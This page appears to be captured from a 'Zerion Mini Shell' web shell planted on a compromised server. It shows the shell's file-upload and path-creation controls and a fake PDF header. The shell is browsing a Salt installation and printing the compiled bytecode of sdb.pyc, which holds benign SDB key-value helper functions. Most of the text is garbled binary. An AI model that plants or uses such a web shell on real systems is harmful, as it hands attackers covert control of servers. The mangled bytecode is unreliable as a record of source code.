%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/utils/sdb.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlm	Z	ddl
mZdd�Z
dd�Zdd�Zd	d
dd�ZdS(ut
Basic functions for accessing the SDB interface

For configuration options, see the docs for specific sdb
modules.
i(tabsolute_importtprint_functiontunicode_literalsN(tstring_types(trangec	C@s4t|t�s |jd�r$|S|dkrEtjj|�}ntd�}|jd|�}|dks�t||d�dkr�|S|j	|||!i�}|s�|j	di�j	|||!i�}nd|kr�|Sdj
|d�}||d}tjj||d	|�}|||d
|�S(u�
    Get a value from a db, using a uri in the form of ``sdb://<profile>/<key>``. If
    the uri provided does not start with ``sdb://``, then it will be returned as-is.
    usdb://u/i����iiupillarudriveru{0}.gettutilstprofileN(t
isinstanceRt
startswithtNonetsalttloaderRtlentfindtgettformattsdb(	turitoptsRtsdlentindxRtfuntqueryt	loaded_db((s2/usr/lib/python2.7/site-packages/salt/utils/sdb.pytsdb_gets" &(c
C@s7t|t�s |jd�r$tS|dkrEtjj|�}ntd�}|j	d|�}|dks�t||d�dkr�tS|j
|||!i�}|s�|j
di�j
|||!i�}nd|kr�tSdj|d�}||d}tjj||d	|�}	|	|||d
|�S(u�
    Set a value in a db, using a uri in the form of ``sdb://<profile>/<key>``.
    If the uri provided does not start with ``sdb://`` or the value is not
    successfully set, return ``False``.
    usdb://u/i����iiupillarudriveru{0}.setRRN(
RRRtFalseR	R
RRRR
RRR(
RtvalueRRRRRRRR((s2/usr/lib/python2.7/site-packages/salt/utils/sdb.pytsdb_set1s" &(c	C@s4t|t�s |jd�r$tS|dkrEtjj|�}ntd�}|j	d|�}|dks�t||d�dkr�tS|j
|||!i�}|s�|j
di�j
|||!i�}nd|kr�tSdj|d�}||d}tjj||d	|�}|||d
|�S(u�
    Delete a value from a db, using a uri in the form of ``sdb://<profile>/<key>``. If
    the uri provided does not start with ``sdb://`` or the value is not successfully
    deleted, return ``False``.
    usdb://u/i����iiupillarudriveru
{0}.deleteRRN(
RRRRR	R
RRRR
RRR(	RRRRRRRRR((s2/usr/lib/python2.7/site-packages/salt/utils/sdb.pyt
sdb_deletePs" &(iu2abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)cC@s�t|t�s |jd�r$tS|dkrEtjj|�}nt||d|�}|dkr�dj	gt
|�D]}tj�j
|�^qy�}t||||�n|p�|S(u�
    Check if value exists in sdb.  If it does, return, otherwise generate a
    random string and store it.  This can be used for storing secrets in a
    centralized place.
    usdb://RuN(RRRRR	R
RRRtjoinRtrandomtSystemRandomtchoiceR(RRtlengthtcharsRtrett_tval((s2/usr/lib/python2.7/site-packages/salt/utils/sdb.pytsdb_get_or_set_hashos
 7(t__doc__t
__future__RRRRtsalt.loaderR
tsalt.ext.sixRtsalt.ext.six.movesRR	RRRR&(((s2/usr/lib/python2.7/site-packages/salt/utils/sdb.pyt<module>s!

Zerion Mini Shell 1.0